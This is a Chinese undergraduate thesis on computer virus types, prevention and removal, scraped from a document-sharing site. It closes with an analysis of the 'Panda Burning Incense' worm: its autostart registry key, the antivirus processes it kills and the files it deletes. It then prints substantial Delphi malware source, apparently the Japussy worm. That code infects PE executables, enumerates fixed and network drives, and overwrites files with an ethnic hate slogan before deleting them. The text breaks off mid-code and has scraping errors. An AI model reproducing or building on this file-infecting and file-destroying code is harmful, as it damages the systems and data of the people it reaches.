版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、<p><b> 畢業(yè)論文</b></p><p> 題目 計算機病毒的研究與防治 </p><p> 教 學 系 信息工程系 </p><p> 專業(yè)班級 計算機應用10級3班 </p><p> 學生姓名 *** </p>
2、;<p> 學生學號 20102010183 </p><p> 指導教師 *** </p><p> 2012 年11 月 19 日</p><p><b> 目 錄</b></p><p><b> 摘要</b><
3、/p><p> 目前計算機的應用遍及到社會的各個領(lǐng)域,同時計算機病毒也給我們帶來了巨大的破壞和潛在的威脅。隨著計算機在社會生活各個領(lǐng)域的廣泛運用,計算機病毒攻擊與防范技術(shù)也在不斷拓展。據(jù)報道,世界各國遭受計算機病毒感染和攻擊的事件數(shù)以億計,嚴重地干擾了正常的人類社會生活,給計算機網(wǎng)絡(luò)和系統(tǒng)帶來了巨大的潛在威脅和破壞。與此同時,病毒技術(shù)在戰(zhàn)爭領(lǐng)域也曾廣泛的運用,在海灣戰(zhàn)爭、近期的科索沃戰(zhàn)爭中,雙方都曾利用計算機病毒向
4、敵方發(fā)起攻擊,破壞對方的計算機網(wǎng)絡(luò)和武器控制系統(tǒng),達到了一定的政治目的與軍事目的??梢灶A見,隨著計算機、網(wǎng)絡(luò)運用的不斷普及、深入,防范計算機病毒將越來越受到各國的高度重視。分析了計算機病毒的特點,討論了主要從及時清除計算機病毒、局域網(wǎng)病毒的防范、加強計算機網(wǎng)絡(luò)管理、個人用戶的防范,這幾個方面去進行計算機病毒的有效防范。</p><p> 關(guān)鍵詞:計算機病毒 防范</p><p><
5、b> Abstract</b></p><p> Computer virus and PreventionThe application of computer in every field of the society, along with the computer in the social life each domain's widespread utilization,
6、 the computer virus attack and its prevention technology also is in extend ceaselessly. According to the report, the world suffer the computer virus infection and the attack event hundreds of millions, seriously disturb
7、the normal life of human society, to computer networks and systems have brought tremendous potential threat and </p><p> Key words: computer virus prevention
8、 </p><p><b> 1 引言</b></p><p> 隨著計算機在社會生活各個領(lǐng)域的廣泛應用,計算機病毒攻擊給我們的日常生活和工作中帶來了很多的威脅,對于大多數(shù)計算機用戶來說,談到“計算機病毒”似乎覺得它深不可測,無法琢磨,其實計
9、算機病毒是可以預防的,為了確保計算機使用的安全性,對計算機進行防范措施是很重要的,本文對此問題進行了探討。</p><p><b> 2 正文</b></p><p> 2.1計算機病毒的概述</p><p> 隨著社會的不斷進步,科學的不斷發(fā)展,計算機病毒的種類也越來越多,但終究萬變不離其宗!</p><p>
10、 2.1.1計算機病毒的定義</p><p> 一般來講,凡是能夠引起計算機故障,能夠破壞計算機中的資源(包括硬件和軟件)的代碼,統(tǒng)稱為計算機病毒。而在我國也通過條例的形式給計算機病毒下了一個具有法律性、權(quán)威性的定義:“計算機病毒,是指編制或者在計算機程序中插入的破壞計算機功能或者毀壞數(shù)據(jù),影響計算機使用,并能自我復制的一組計算機指令或者程序代碼?!?</p><p> 2.1.2計算
11、機病毒的特性</p><p> 1、隱藏性與潛伏性 </p><p> 計算機病毒是一種具有很高編程技巧、短精悍的可執(zhí)行程序。它通常內(nèi)附在正常的程序中,用戶啟動程序同時也打開了病毒程序。計算機病毒程序經(jīng)運行取得系統(tǒng)控制權(quán), 可以在不到1秒鐘的時間里傳染幾百個程序。而且在傳染操作成后,計算機系統(tǒng)仍能運行,被感染的程序仍能執(zhí)行,這就是計機病毒傳染的隱蔽性……計算機病毒的潛伏性則是指,某些
12、編制巧的計算機病毒程序,進入系統(tǒng)之后可以在幾周或者幾個月甚至年內(nèi)隱藏在合法文件中,對其它系統(tǒng)文件進行傳染,而不被人發(fā)現(xiàn)。</p><p><b> 2、傳染性 </b></p><p> 計算機病毒可通過各種渠道(磁盤、共享目錄、郵件)從已被感染的計算機擴散到其他機器上,感染其它用戶.在某情況下導致計算機工作失常。</p><p><
13、;b> 3、表現(xiàn)性和破壞性</b></p><p> 任何計算機病毒都會對機器產(chǎn)生一定程的影響,輕者占用系統(tǒng)資源,導致系統(tǒng)運行速度大幅降低.重者除文件和數(shù)據(jù),導致系統(tǒng)崩潰。</p><p> 4、可觸發(fā)性病毒 </p><p> 具有預定的觸發(fā)條件,可能是時間、日期、文類型或某些特定數(shù)據(jù)等。一旦滿足觸發(fā)條件,便啟動感染或破壞作,使病毒進行
14、感染或攻擊;如不滿足,繼續(xù)潛伏。有些病毒針對特定的操作系統(tǒng)或特定的計算機。</p><p><b> 5、欺騙性和持久性</b></p><p> 計算機病毒行動詭秘,計算機對其反應遲,往往把病毒造成的錯誤當成事實接受下來。病毒程序即使被發(fā),已被破壞的數(shù)據(jù)和程序以及操作系統(tǒng)都難以恢復。在網(wǎng)絡(luò)操作情況下,由于病毒程序由一個受感染的拷貝通過網(wǎng)絡(luò)系統(tǒng)反復傳,病毒程序的清
15、除愈加復雜。</p><p> 除了上述五點外,計算機病毒還具有不可預見性、衍生性、針對性、等特點。正是由于計算機病毒具有這些特點,給計算機病毒的預防、檢測與清除工作帶來了很大的難度。 </p><p> 2.2計算機病毒的分類</p><p> 2.2.1計算機病毒的基本分類</p><p> 1、傳統(tǒng)開機型計算機病毒</p&
16、gt;<p> 純粹的開機型計算機病毒多利用軟盤開機時侵入計算機系統(tǒng),然后再伺機感染其他的軟盤或者硬盤,例如:“Stoned 3”(米開朗基羅)。</p><p> 2、隱形開機型計算機病毒</p><p> 此類計算機病毒感染的系統(tǒng),再行檢查開機區(qū),得到的將是正常的磁區(qū)資料,就好像沒有中毒一樣,此類計算機病毒不容易被殺毒軟件所查殺,而防毒軟件對于未知的此類型計算機病毒
17、,必須具有辨認磁區(qū)資料真?zhèn)蔚哪芰?。此類計算機病毒已出現(xiàn)的尚有“Fish”.</p><p> 3、檔案感染型兼開機型計算機病毒</p><p> 檔案感染型兼開機型計算機病毒時利用檔案感染時司機感染開機區(qū),因而具有雙中的行動能力,此類型較著名的計算機病毒有“Cancer”。</p><p> 4、目錄型計算機病毒</p><p> 本
18、類型計算機病毒的感染方式非常獨特,“Dir2”即其代表,此類計算機病毒僅修改目錄區(qū)(Root),便可達到其感染目的。</p><p> 5、傳統(tǒng)檔案型計算機病毒</p><p> 傳統(tǒng)檔案型計算機病毒最大的特征,便是將計算機病毒本身植入檔案,使檔案膨脹,以達到散播傳染的目的。代表有“13 Firday”。</p><p> 6、千面人計算機病毒</p&g
19、t;<p> 千面人計算機病毒是指具有自我編碼能力的計算機病毒,“1701 下雨”等,為這種類型主要代表,此種計算機病毒編碼的目的,是使其感染的每一個檔案,看起來皆不一樣,干擾殺毒軟件的偵測,不過千面人計算機病毒仍會留下的這個“小辮子”,將其繩之以法。</p><p><b> 7、突變引擎病毒</b></p><p> 有鑒于前面人計算機病毒一個
20、接一個被截獲,邊有人編寫出一種突變式計算機病毒,使原本千面人計算機病毒無法解決的程序開頭相同的問題得到克服,并編寫成OBJ副程序,供他人植草此類計算機病毒,即 Mctation engine。盡管如此,這類計算機病毒僅干擾了掃毒式軟件,對其他方式的防毒軟件并沒有太大的影響。</p><p> 8、隱形檔案型計算機病毒</p><p> 此類病毒可以避開去多防毒軟件,因為隱形計算機病毒能
21、直接植入DOS系統(tǒng)的作業(yè)環(huán)境中,當外部程序呼叫DOS中斷服務時,便同時執(zhí)行到計算機病毒本身,使得計算機病毒能從容地將受其感染的檔案,粉飾成正常無毒的樣子。此類計算機病毒有“4096” 等。</p><p> 9、終結(jié)型計算機病毒</p><p> 終結(jié)性計算機病毒能追蹤磁盤操作終端的原始進入點,當計算機病毒取得磁盤原始中斷時,便可任意再磁盤上修改資料或普哦壞資料,而不會驚動防毒程序,這
22、就是說,裝有防毒程序和美妝防毒程序的情況是一樣的危險。這類計算機病毒有的采用INT 1單步執(zhí)行的方式,逐步追蹤磁盤中斷的過程,找出BIOS磁盤中斷的部分,供計算機病毒內(nèi)部使用;有的采用死機的方式,記錄幾個BIOS版本的磁盤中斷原始進入點,當計算機病毒遭到熟悉的BIOS版本,便可直接呼叫磁盤中斷,對磁盤予取予求;有的則分析磁盤中斷的程序片段,找出BIOS中的相似部分便可直接呼叫磁盤中斷。其代表有“Hammer 6”等。</p>
23、<p> 10、Word巨集計算機病毒</p><p> Word 巨集計算機病毒可以說時目前最新的計算機病毒種類了,它是文件型計算機病毒,異于以往以感染磁盤區(qū)或可執(zhí)行的檔案為主的計算機病毒,此類病毒時利用Word 提供的巨集功能來感染文件。目前已經(jīng)在Internet及BBS網(wǎng)絡(luò)中發(fā)現(xiàn)不少Word巨集計算機病毒,而且此類計算機病毒是用類似Basic程序編寫出來的,易學,其反戰(zhàn)速度一定很快。<
24、;/p><p> 2.3計算機病毒防范和清除的基本原則和技術(shù)</p><p> 2.3.1計算機病毒防范的概念和原則</p><p> 計算機病毒防范,是指通過建立合理的計算機病毒防范體系和制度,即使發(fā)現(xiàn)計算機病毒入侵,并采取有效的手段阻止計算機病毒的傳播和破壞,回復受影響的計算機系統(tǒng)和數(shù)據(jù)。</p><p> 原則以防御計算機病毒為主動
25、,主要表現(xiàn)在檢測行為的動態(tài)性和防范方法的廣譜性。</p><p> 2.3.2計算機病毒防范基本技術(shù)</p><p> 計算機病毒預防是在計算機病毒尚未入侵或剛剛?cè)肭?,就攔截、阻擊計算機病毒的入侵或立即警報。目前在預防計算機病毒工具中采用的主要技術(shù)如下:</p><p> 1 經(jīng)常從軟件供應商那邊下載、安裝安全補丁程序和升級殺毒軟件。</p>&
26、lt;p> 2 新購置的計算機和新安裝的系統(tǒng),一定要進行系統(tǒng)升級,保證修補所有已知的安全漏洞。</p><p> 3 使用高強度的口令。</p><p> 4 經(jīng)常備份重要數(shù)據(jù)。特別是要做到經(jīng)常性地對不易復得數(shù)據(jù)(個人文檔、程序源代碼等等)完全備份。</p><p> 5 選擇并安裝經(jīng)過公安部認證的防病毒軟件,定期對整個硬盤進行病毒檢測、清除工作。&l
27、t;/p><p> 6 安裝防火墻(軟件防火墻),提高系統(tǒng)的安全性。</p><p> 7 當計算機不使用時,不要接入互聯(lián)網(wǎng),一定要斷掉連接。</p><p> 8 不要打開陌生人發(fā)來的電子郵件,無論它們有多么誘人的標題或者附件。同時也要小心處理來自于熟人的郵件附件。</p><p> 9 正確配置、使用病毒防治產(chǎn)品。</p>
28、;<p> 10 正確配置計算機系統(tǒng),減少病毒侵害事件。充分利用系統(tǒng)提供的安全機制,提高系統(tǒng)防范病毒的能力。</p><p> 2.3.3清除計算機病毒的基本方法</p><p><b> 1.簡單的工具治療</b></p><p> 簡單工具治療是指使用Debug等簡單的工具,借助檢測者對某種計算機病毒的具體知識,從感染
29、計算機病毒的軟件中摘除計算機代碼。但是,這種方法同樣對檢測者自身的專業(yè)素質(zhì)要求較高,而且治療效率也較低。</p><p><b> 2.專用工具治療</b></p><p> 使用專用工具治療被感染的程序時通常使用的治療方法。專用計算機治療工具,根據(jù)對計算機病毒特征的記錄,自動清除感染程序中的計算機病毒代碼,使之得以恢復。使用專用工具治療計算機病毒時,治療操作簡單
30、、高效。從探索與計算機病毒對剛的全過程來看,專用工具的開發(fā)商也是先從使用簡單工具進行治療開始,當治療獲得成功后,再研制相應的軟件產(chǎn)品,使計算機自動地完成全部治療操作。</p><p> 2.4 典型計算機病毒的原理、防范和清除</p><p> 2.4.1引導區(qū)計算機病毒</p><p> 系統(tǒng)引導區(qū)時在系統(tǒng)引導的時候,進入到系統(tǒng)中,獲得對系統(tǒng)的控制權(quán),在完成
31、其自身的安裝后才去引導系統(tǒng)的。稱其為引導區(qū)計算機病毒時因為這類計算機病毒一般是都侵占系統(tǒng)硬盤的主引導扇區(qū)I/O分區(qū)的引導扇區(qū),對于軟盤則侵占了軟盤的引導扇區(qū)。</p><p> 它會感染在該系統(tǒng)中進行讀寫操作的所有軟盤,然后再由這些軟盤以復制的方式和引導進入到其他計算機系統(tǒng),感染其他計算機的操作系統(tǒng)。</p><p><b> 如何檢測呢?</b></p&g
32、t;<p> 查看系統(tǒng)內(nèi)存的總量與正常情況進行比較</p><p> 檢查系統(tǒng)內(nèi)存高端的內(nèi)容</p><p> 檢查系統(tǒng)的INT 13H中斷向量</p><p> 檢查硬盤的主引導扇區(qū)、DOS分區(qū)引導扇區(qū)以及軟盤的引導扇區(qū)</p><p><b> 清除:</b></p><p
33、> 用原來正常的分區(qū)表信息或引導扇區(qū)信息,覆蓋掉計算機病毒程序。此時,如果用戶事先提取并保存了自己硬盤中分區(qū)表的信息和DOS分區(qū)引導扇區(qū)信息,那么,恢復工作變得非常簡單。可以直接用Debug將這兩種引導扇區(qū)的內(nèi)容分別調(diào)入內(nèi)存,然后分別回它的原來位置,這樣就消除了計算機病毒。</p><p> 2.4.2文件型計算機病毒</p><p> 文件型計算機病毒程序都是依附在系統(tǒng)可執(zhí)行
34、文件或覆蓋文件上,當文件裝入系統(tǒng)執(zhí)行的時候,引導計算機病毒程序也進入到系統(tǒng)中。只有極少計算機病毒程序感染數(shù)據(jù)文件。</p><p> 此類病毒感染對象大多是系統(tǒng)的可執(zhí)行文件,也有一些還要對覆蓋文件進行傳染,而對數(shù)據(jù)進行傳染的則少見。</p><p><b> 清除:</b></p><p> 確定計算機病毒程序的位置,是駐留在文件尾部還是
35、在文件首部。</p><p> 找到計算機病毒程序的首部位置(對應于在文件尾部駐留方式),或者尾部位置(對應于在文件首部駐留方式)。</p><p> 恢復原文件頭部的參數(shù)。</p><p> 2.4.3腳本型計算機病毒</p><p> 主要采用腳本語言設(shè)計的病毒稱其為腳本病毒。實際上在早期的系統(tǒng)中,計算機病毒就已經(jīng)開始利用腳本進行
36、傳播和破壞,不過專門的腳本病毒并不常見。但是在腳本應用無所不在的今天,腳本病毒卻成為危害最大,最為廣泛的病毒,特別是當他和一些傳統(tǒng)的惡性病毒相結(jié)合時,其危害就更為嚴重了。</p><p> 其主要有兩種類型,純腳本型,混合型。</p><p><b> 它的特點:</b></p><p><b> 編寫簡單</b>&
37、lt;/p><p><b> 破壞力大</b></p><p><b> 感染力強</b></p><p> 傳播范圍大(多通過E-mail,局域網(wǎng)共享,感染網(wǎng)頁文件的方式傳播)</p><p> 計算機病毒源碼容易被獲取,變種多</p><p><b> 欺
38、騙性強</b></p><p> 使得計算機病毒生產(chǎn)機事先起來非常容易</p><p><b> 清除:</b></p><p> 禁用文件系統(tǒng)對象FileSystemObject</p><p> 卸載Windows Scripting Host</p><p> 刪除vb
39、s,vbe,js,jse文件后綴與應用程序映射</p><p> 在Windows目錄中,找到WScript.exe,更改名稱或者刪除</p><p> 要徹底防止vbs網(wǎng)絡(luò)蠕蟲病毒,還需要設(shè)置一下瀏覽器</p><p> 禁止OE的自動收發(fā)電子郵件功能</p><p> 顯示所有文件類型的擴展名稱</p><p&
40、gt; 將系統(tǒng)的網(wǎng)絡(luò)連接的安全級別設(shè)置至少為“中等”</p><p> 2.4.4特洛伊木馬計算機病毒</p><p> 特洛伊木馬也叫黑客程序或后門病毒,是指吟唱在正常程序中的一段具有特殊功能的程序,其隱蔽性及好,不易察覺,是一種極為危險的網(wǎng)絡(luò)攻擊手段。</p><p> 其第一代:偽裝性病毒,第二代:AIDS型木馬,第三代:網(wǎng)絡(luò)傳播性木馬</p&g
41、t;<p><b> 如何檢查?</b></p><p><b> 稽查注冊表</b></p><p> 檢查你的系統(tǒng)配置文件</p><p><b> 清除:</b></p><p><b> 備份重要數(shù)據(jù)</b></p&g
42、t;<p><b> 立即關(guān)閉身背電源</b></p><p><b> 備份木馬入侵現(xiàn)場</b></p><p><b> 修復木馬危害</b></p><p> 2.4.5 蠕蟲計算機病毒</p><p> 蠕蟲是一種通過網(wǎng)絡(luò)傳播的惡性計算機病毒,它
43、具有計算機病毒的一些共性,如傳播性、隱蔽性、破壞性等。同時自己有自己一些特征,如利用文件寄生,對網(wǎng)絡(luò)造成拒絕服務以及和黑客技術(shù)相結(jié)合等。</p><p> 簡單點說,蠕蟲就是使用危害的代碼來攻擊網(wǎng)絡(luò)上的受害主機,并在受害主機上自我復制,再攻擊其他的受害主機的計算機病毒。</p><p><b> 其特征:</b></p><p><b
44、> 自我繁殖</b></p><p><b> 利用軟件漏洞</b></p><p><b> 造成網(wǎng)絡(luò)擁堵</b></p><p><b> 消耗系統(tǒng)資源</b></p><p><b> 留下安全隱患</b></p&g
45、t;<p><b> 清除:</b></p><p><b> 與防火墻互動</b></p><p><b> 交換機聯(lián)動</b></p><p> 通知HIDS(基于主機的入侵檢測)</p><p><b> 報警</b><
46、/p><p> 2.5 “熊貓燒香”病毒剖析</p><p> “熊貓燒香”病毒感染機理:“熊貓燒香”,是一個感染型的蠕蟲病毒,它能感染系統(tǒng)中exe,com,pif,src,html,asp等文件,它還能中止大量的反病毒軟件進程并且會刪除擴展名為gho的文件,該文件是一系統(tǒng)備份工具GHOST的備份文件,使用戶的系統(tǒng)備份文件丟失。被感染的用戶系統(tǒng)中所有.exe可執(zhí)行文件全部被改成熊貓舉著三根
47、香的模樣。</p><p> 1:拷貝文件病毒運行后,會把自己拷貝到C:\WINDOWS\System32\Drivers\spoclsv.exe</p><p> 2:添加注冊表自啟動病毒會添加自啟動項HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\Sy
48、stem32\Drivers\spoclsv.exe </p><p><b> 3:病毒行為</b></p><p> a:每隔1秒尋找桌面窗口,并關(guān)閉窗口標題中含有以下字符的程序: </p><p> QQKav、QQAV、防火墻、進程、VirusScan、網(wǎng)鏢、殺毒、毒霸、瑞星、江民、黃山IE、超級兔子、優(yōu)化大師、木馬克星、木馬清道
49、夫、QQ病毒、注冊表編輯器、系統(tǒng)配置實用程序、卡巴斯基反病毒、Symantec AntiVirus、Duba、esteem proces、綠鷹PC、密碼防盜、噬菌體、木馬輔助查找器、System Safety Monitor、Wrapped gift Killer、Winsock Expert、游戲木馬檢測大師、msctls_statusbar32、pjf(ustc)、IceSword,并使用的鍵盤映射的方法關(guān)閉安全軟件IceSword
50、。添加注冊表使自己自啟動HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe并中止系統(tǒng)中以下的進程: </p><p> Mcshield.exe、VsTskMgr.exe、naPrdMgr.exe、UpdaterUI.exe、T
51、BMon.exe、scan32.exe、Ravmond.exe、CCenter.exe、RavTask.exe、Rav.exe、Ravmon.exe、RavmonD.exe、RavStub.exe、KVXP.kxp、kvMonXP.kxp、KVCenter.kxp、KVSrvXP.exe、KRegEx.exe、UIHost.exe、TrojDie.kxp、FrogAgent.exe、Logo1_.exe、Logo_1.exe、Rundl
52、132.exe。</p><p> b:每隔18秒點擊病毒作者指定的網(wǎng)頁,并用命令行檢查系統(tǒng)中是否存在共享,共存在的話就運行net share命令關(guān)閉admin$共享。</p><p> c:每隔10秒下載病毒作者指定的文件,并用命令行檢查系統(tǒng)中是否存在共享,共存在的話就運行net share命令關(guān)閉admin$共享。</p><p> d:每隔6秒刪除安全軟
53、件在注冊表中的鍵值。</p><p> 并修改以下值不顯示隱藏文件 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00 </p><p> 刪除以下服務: navapsvc、wscsvc、K
54、PfwSvc、SNDSrvc、ccProxy、ccEvtMgr、ccSetMgr、SPBBCSvc、Symantec Core LC、NPFMntor MskService、FireSvc。</p><p><b> e:感染文件 </b></p><p> 病毒會感染擴展名為exe,pif,com,src的文件,把自己附加到文件的頭部,并在擴展名為htm,htm
55、l, asp,php,jsp,aspx的文件中添加一網(wǎng)址,用戶一但打開了該文件,IE就會不斷的在后臺點擊寫入的網(wǎng)址,達到增加點擊量的目的,但病毒不會感染以下文件夾名中的文件: </p><p> WINDOW、Winnt、System Volume Information、Recycled、Windows NT、WindowsUpdate、Windows Media Player、Outlook Express
56、、Internet Explorer、NetMeeting、Common Files、ComPlus Applications、Messenger、InstallShield Installation Information、MSN、Microsoft Frontpage、Movie Maker、MSN Gamin Zone 。</p><p><b> g:刪除文件 </b></p
57、><p> 病毒會刪除擴展名為gho的文件,該文件是一系統(tǒng)備份工具GHOST的備份文件使用戶的系統(tǒng)備份文件丟失。 </p><p> “熊貓燒香”病毒核心源碼</p><p> 用 Delphi 寫</p><p> program Japussy;</p><p><b> uses</b>
58、;</p><p> Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};</p><p><b> const</b></p><p> HeaderSize = 82432; //病毒體的大小</p><p> IconOff
59、set = $12EB8; //PE文件主圖標的偏移量</p><p> //在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同</p><p> //查找2800000020的十六進制字符串可以找到主圖標的偏移量</p><p><b> {</b></p><p>
60、 HeaderSize = 38912; //Upx壓縮過病毒體的大小</p><p> IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量</p><p> //Upx 1.24W 用法: upx -9 --8086 Japussy.exe</p><p><b> }</b&
61、gt;</p><p> IconSize = $2E8; //PE文件主圖標的大小--744字節(jié)</p><p> IconTail = IconOffset + IconSize; //PE文件主圖標的尾部</p><p> ID = $44444444; //感染標記</p>&
62、lt;p> //垃圾碼,以備寫入</p><p> Catchword = 'If a race need to be killed out, it must be Yamato. ' </p><p><b> +</b></p><p> 'If a country need to be destroy
63、ed, it must be Japan! ' +</p><p> '*** W32.Japussy.Worm.A ***';</p><p> {$R *.RES}</p><p> Function RegisterServiceProcess()function RegisterServiceProcess(dwProcessI
64、D, dwType: Integer): </p><p><b> Integer; </b></p><p> stdcall; external 'Kernel32.dll'; //函數(shù)聲明</p><p><b> var</b></p><p> TmpFile:
65、string;</p><p> Si: STARTUPINFO;</p><p> Pi: PROCESS_INFORMATION;</p><p> IsJap: Boolean = False; //日文操作系統(tǒng)標記</p><p> { 判斷是否為Win9x }</p><p>
66、 Function IsWin9x()function IsWin9x: Boolean;</p><p><b> var</b></p><p> Ver: TOSVersionInfo;</p><p><b> begin</b></p><p> Result := False;
67、</p><p> Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);</p><p> if not GetVersionEx(Ver) then</p><p><b> Exit;</b></p><p> if (Ver.dwPlatformID = VE
68、R_PLATFORM_WIN32_WINDOWS) then //Win9x</p><p> Result := True;</p><p><b> end;</b></p><p> { 在流之間復制 }</p><p> procedure CopyStream(Src: TStream; sStartP
69、os: Integer; Dst: TStream;</p><p> dStartPos: Integer; Count: Integer);</p><p><b> var</b></p><p> sCurPos, dCurPos: Integer;</p><p><b> begin<
70、/b></p><p> sCurPos := Src.Position;</p><p> dCurPos := Dst.Position;</p><p> Src.Seek(sStartPos, 0);</p><p> Dst.Seek(dStartPos, 0);</p><p> Dst.C
71、opyFrom(Src, Count);</p><p> Src.Seek(sCurPos, 0);</p><p> Dst.Seek(dCurPos, 0);</p><p><b> end;</b></p><p> { 將宿主文件從已感染的PE文件中分離出來,以備使用 }</p><
72、;p> procedure ExtractFile(FileName: string);</p><p><b> var</b></p><p> sStream, dStream: TFileStream;</p><p><b> begin</b></p><p><b&
73、gt; try</b></p><p> sStream := TFileStream.Create(ParamStr(0), fmOpenRead or </p><p> fmShareDenyNone);</p><p><b> try</b></p><p> dStream := TFi
74、leStream.Create(FileName, fmCreate);</p><p><b> try</b></p><p> sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分</p><p> dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
75、</p><p><b> finally</b></p><p> dStream.Free;</p><p><b> end;</b></p><p><b> finally</b></p><p> sStream.Free;<
76、/p><p><b> end;</b></p><p><b> except</b></p><p><b> end;</b></p><p><b> end;</b></p><p> { 填充STARTUPINFO
77、結(jié)構(gòu) }</p><p> procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);</p><p><b> begin</b></p><p> Si.cb := SizeOf(Si);</p><p> Si.lpReserved := nil
78、;</p><p> Si.lpDesktop := nil;</p><p> Si.lpTitle := nil;</p><p> Si.dwFlags := STARTF_USESHOWWINDOW;</p><p> Si.wShowWindow := State;</p><p> Si.cbRe
79、served2 := 0;</p><p> Si.lpReserved2 := nil;</p><p><b> end;</b></p><p><b> { 發(fā)帶毒郵件 }</b></p><p> procedure SendMail;</p><p>&l
80、t;b> begin</b></p><p> //哪位仁兄愿意完成之?</p><p><b> end;</b></p><p> { 感染PE文件 }</p><p> procedure InfectOneFile(FileName: string);</p><p
81、><b> var</b></p><p> HdrStream, SrcStream: TFileStream;</p><p> IcoStream, DstStream: TMemoryStream;</p><p> iID: LongInt;</p><p> aIcon: TIcon;<
82、/p><p> Infected, IsPE: Boolean;</p><p> i: Integer;</p><p> Buf: array[0..1] of Char;</p><p><b> begin</b></p><p> try //出錯則文件正在被使用,退出</p
83、><p> if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染</p><p><b> Exit;</b></p><p> Infected := False;</p><p> IsPE := False;</p&g
84、t;<p> SrcStream := TFileStream.Create(FileName, fmOpenRead);</p><p><b> try</b></p><p> for i := 0 to $108 do //檢查PE文件頭</p><p><b> begin</b></
85、p><p> SrcStream.Seek(i, soFromBeginning);</p><p> SrcStream.Read(Buf, 2);</p><p> if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記</p><p><b> begin</b><
86、;/p><p> IsPE := True; //是PE文件</p><p><b> Break;</b></p><p><b> end;</b></p><p><b> end;</b></p><p> SrcStream.Seek(-
87、4, soFromEnd); //檢查感染標記</p><p> SrcStream.Read(iID, 4);</p><p> if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染</p><p> Infected := True;</p><p><b&g
88、t; finally</b></p><p> SrcStream.Free;</p><p><b> end;</b></p><p> if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出</p><p><b> Exit;</b
89、></p><p> IcoStream := TMemoryStream.Create;</p><p> DstStream := TMemoryStream.Create;</p><p><b> try</b></p><p> aIcon := TIcon.Create;</p>
90、<p><b> try</b></p><p> //得到被感染文件的主圖標(744字節(jié)),存入流</p><p> aIcon.ReleaseHandle;</p><p> aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);</p><
91、;p> aIcon.SaveToStream(IcoStream);</p><p><b> finally</b></p><p> aIcon.Free;</p><p><b> end;</b></p><p> SrcStream := TFileStream.Creat
92、e(FileName, fmOpenRead);</p><p><b> //頭文件</b></p><p> HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or </p><p> fmShareDenyNone);</p><p><b&
93、gt; try</b></p><p> //寫入病毒體主圖標之前的數(shù)據(jù)</p><p> CopyStream(HdrStream, 0, DstStream, 0, IconOffset);</p><p> //寫入目前程序的主圖標</p><p> CopyStream(IcoStream, 22, DstStr
94、eam, IconOffset, IconSize);</p><p> //寫入病毒體主圖標到病毒體尾部之間的數(shù)據(jù)</p><p> CopyStream(HdrStream, IconTail, DstStream, IconTail, </p><p> HeaderSize - IconTail);</p><p><b&
95、gt; //寫入宿主程序</b></p><p> CopyStream(SrcStream, 0, DstStream, HeaderSize, </p><p> SrcStream.Size);</p><p> //寫入已感染的標記</p><p> DstStream.Seek(0, 2);</p>
96、<p> iID := $44444444;</p><p> DstStream.Write(iID, 4);</p><p><b> finally</b></p><p> HdrStream.Free;</p><p><b> end;</b></p>
97、<p><b> finally</b></p><p> SrcStream.Free;</p><p> IcoStream.Free;</p><p> DstStream.SaveToFile(FileName); //替換宿主文件</p><p> DstStream.Free;<
98、/p><p><b> end;</b></p><p><b> except;</b></p><p><b> end;</b></p><p><b> end;</b></p><p> { 將目標文件寫入垃圾碼后刪
99、除 }</p><p> procedure SmashFile(FileName: string);</p><p><b> var</b></p><p> FileHandle: Integer;</p><p> i, Size, Mass, Max, Len: Integer;</p>
100、<p><b> begin</b></p><p><b> try</b></p><p> SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性</p><p> FileHandle := FileOpen(FileName, fmOpenWrite);
101、//打開文件</p><p><b> try</b></p><p> Size := GetFileSize(FileHandle, nil); //文件大小</p><p><b> i := 0;</b></p><p> Randomize;</p><p>
102、; Max := Random(15); //寫入垃圾碼的隨機次數(shù)</p><p> if Max < 5 then</p><p><b> Max := 5;</b></p><p> Mass := Size div Max; //每個間隔塊的大小</p><p> Len := Length(Ca
103、tchword);</p><p> while i < Max do</p><p><b> begin</b></p><p> FileSeek(FileHandle, i * Mass, 0); //定位</p><p> //寫入垃圾碼,將文件徹底破壞掉</p><p>
104、 FileWrite(FileHandle, Catchword, Len);</p><p><b> Inc(i);</b></p><p><b> end;</b></p><p><b> finally</b></p><p> FileClose(Fil
105、eHandle); //關(guān)閉文件</p><p><b> end;</b></p><p> DeleteFile(PChar(FileName)); //刪除之</p><p><b> except</b></p><p><b> end;</b></p&
106、gt;<p><b> end;</b></p><p> { 獲得可寫的驅(qū)動器列表 }</p><p> Function GetDrives()function GetDrives: string;</p><p><b> var</b></p><p> DiskTy
107、pe: Word;</p><p><b> D: Char;</b></p><p> Str: string;</p><p> i: Integer;</p><p><b> begin</b></p><p> for i := 0 to 25 do //
108、遍歷26個字母</p><p><b> begin</b></p><p> D := Chr(i + 65);</p><p> Str := D + ':';</p><p> DiskType := GetDriveType(PChar(Str));</p><p>
109、; //得到本地磁盤和網(wǎng)絡(luò)盤</p><p> if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then</p><p> Result := Result + D;</p><p><b> end;</b></p><p><b>
110、 end;</b></p><p> { 遍歷目錄,感染和摧毀文件 }</p><p> procedure LoopFiles(Path, Mask: string);</p><p><b> var</b></p><p> i, Count: Integer;</p><p
111、> Fn, Ext: string;</p><p> SubDir: TStrings;</p><p> SearchRec: TSearchRec;</p><p> Msg: TMsg;</p><p> Function IsValidDir()function IsValidDir(SearchRec: TSear
